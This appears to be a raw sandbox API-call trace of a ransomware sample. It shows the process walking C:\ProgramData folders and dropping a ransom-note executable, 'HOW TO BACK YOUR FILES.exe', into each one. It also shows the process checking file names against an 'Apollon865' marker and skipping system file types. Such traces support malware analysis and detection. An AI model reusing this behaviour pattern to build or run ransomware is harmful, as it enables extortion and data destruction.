	[0051.024] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fbb9df0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.024] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.024] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0051.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0051.024] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0051.024] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned 43
	[0051.024] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Network\\Downloader" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader"
	[0051.024] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.024] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.024] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.024] GetLastError () returned 0x0
	[0051.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.024] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.025] CloseHandle (hObject=0x15c) returned 1
	[0051.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.025] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.025] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.025] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.025] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.025] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.025] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="qmgr0.dat" | out: lpString1="qmgr0.dat") returned="qmgr0.dat"
	[0051.025] lstrlenW (lpString="qmgr0.dat") returned 9
	[0051.025] lstrlenW (lpString="Apollon865") returned 10
	[0051.025] lstrlenW (lpString=".dll") returned 4
	[0051.025] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".dll") returned 1
	[0051.025] lstrlenW (lpString=".lnk") returned 4
	[0051.025] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".lnk") returned 1
	[0051.025] lstrlenW (lpString=".ini") returned 4
	[0051.025] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".ini") returned 1
	[0051.025] lstrlenW (lpString=".sys") returned 4
	[0051.025] lstrcmpiW (lpString1="qmgr0.dat", lpString2=".sys") returned 1
	[0051.025] lstrlenW (lpString="qmgr0.dat") returned 9
	[0051.025] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="qmgr1.dat" | out: lpString1="qmgr1.dat") returned="qmgr1.dat"
	[0051.025] lstrlenW (lpString="qmgr1.dat") returned 9
	[0051.025] lstrlenW (lpString="Apollon865") returned 10
	[0051.025] lstrlenW (lpString=".dll") returned 4
	[0051.025] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".dll") returned 1
	[0051.025] lstrlenW (lpString=".lnk") returned 4
	[0051.026] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".lnk") returned 1
	[0051.026] lstrlenW (lpString=".ini") returned 4
	[0051.026] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".ini") returned 1
	[0051.026] lstrlenW (lpString=".sys") returned 4
	[0051.026] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".sys") returned 1
	[0051.026] lstrlenW (lpString="qmgr1.dat") returned 9
	[0051.026] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0051.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0051.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0051.026] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections") returned 44
	[0051.026] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Network\\Connections" | out: lpString1="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections"
	[0051.026] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.026] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\connections\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.026] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.026] GetLastError () returned 0x0
	[0051.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.027] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.027] CloseHandle (hObject=0x15c) returned 1
	[0051.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.027] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.027] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.027] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.027] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.027] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.027] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\NetFramework", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0051.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0051.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0051.027] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework") returned 37
	[0051.027] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\NetFramework" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework"
	[0051.027] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.027] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\NetFramework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\netframework\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.028] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.028] GetLastError () returned 0x0
	[0051.028] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.028] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.028] CloseHandle (hObject=0x15c) returned 1
	[0051.028] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.028] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.028] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.028] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.028] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.028] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.028] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="BreadcrumbStore" | out: lpString1="BreadcrumbStore") returned="BreadcrumbStore"
	[0051.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0051.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a920
	[0051.029] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7c90
	[0051.029] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0051.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0051.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0051.029] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned 53
	[0051.029] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" | out: lpString1="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore"
	[0051.029] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.029] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.029] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.029] GetLastError () returned 0x0
	[0051.029] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.029] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.029] CloseHandle (hObject=0x15c) returned 1
	[0051.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.030] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.030] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.030] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.030] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.030] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.030] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\MSDN", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN"
	[0051.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b63a0 | out: hHeap=0x580000) returned 1
	[0051.030] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0051.030] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MSDN") returned 29
	[0051.030] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\MSDN" | out: lpString1="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN"
	[0051.030] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.030] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MSDN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\msdn\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.030] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.031] GetLastError () returned 0x0
	[0051.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.031] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.031] CloseHandle (hObject=0x15c) returned 1
	[0051.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.031] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.031] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.031] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.031] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.031] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.031] lstrcpyW (in: lpString1=0x2d3e58c, lpString2="8.0" | out: lpString1="8.0") returned="8.0"
	[0051.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0051.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdf28
	[0051.031] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0051.031] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\MSDN\\8.0", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0"
	[0051.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0051.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0051.031] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned 33
	[0051.031] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\MSDN\\8.0" | out: lpString1="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0"
	[0051.031] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.031] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\msdn\\8.0\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.032] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.032] GetLastError () returned 0x0
	[0051.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.032] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.032] CloseHandle (hObject=0x15c) returned 1
	[0051.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.032] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.032] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2fc060b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc060b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.032] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.032] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.032] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.033] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\MF", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0051.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca510 | out: hHeap=0x580000) returned 1
	[0051.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0051.033] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\MF") returned 27
	[0051.033] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\MF" | out: lpString1="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF"
	[0051.033] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.033] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\mf\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.033] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.033] GetLastError () returned 0x0
	[0051.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.033] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.033] CloseHandle (hObject=0x15c) returned 1
	[0051.033] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.033] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.034] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0051.034] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.034] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.034] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.034] lstrcpyW (in: lpString1=0x2d3e588, lpString2="Active.GRL" | out: lpString1="Active.GRL") returned="Active.GRL"
	[0051.034] lstrlenW (lpString="Active.GRL") returned 10
	[0051.034] lstrlenW (lpString="Apollon865") returned 10
	[0051.034] lstrlenW (lpString=".dll") returned 4
	[0051.034] lstrcmpiW (lpString1="Active.GRL", lpString2=".dll") returned 1
	[0051.034] lstrlenW (lpString=".lnk") returned 4
	[0051.034] lstrcmpiW (lpString1="Active.GRL", lpString2=".lnk") returned 1
	[0051.034] lstrlenW (lpString=".ini") returned 4
	[0051.034] lstrcmpiW (lpString1="Active.GRL", lpString2=".ini") returned 1
	[0051.034] lstrlenW (lpString=".sys") returned 4
	[0051.034] lstrcmpiW (lpString1="Active.GRL", lpString2=".sys") returned 1
	[0051.034] lstrlenW (lpString="Active.GRL") returned 10
	[0051.034] lstrcpyW (in: lpString1=0x2d3e588, lpString2="Pending.GRL" | out: lpString1="Pending.GRL") returned="Pending.GRL"
	[0051.034] lstrlenW (lpString="Pending.GRL") returned 11
	[0051.034] lstrlenW (lpString="Apollon865") returned 10
	[0051.034] lstrcmpiW (lpString1="ending.GRL", lpString2="Apollon865") returned 1
	[0051.034] lstrlenW (lpString=".dll") returned 4
	[0051.034] lstrcmpiW (lpString1="Pending.GRL", lpString2=".dll") returned 1
	[0051.034] lstrlenW (lpString=".lnk") returned 4
	[0051.034] lstrcmpiW (lpString1="Pending.GRL", lpString2=".lnk") returned 1
	[0051.034] lstrlenW (lpString=".ini") returned 4
	[0051.034] lstrcmpiW (lpString1="Pending.GRL", lpString2=".ini") returned 1
	[0051.034] lstrlenW (lpString=".sys") returned 4
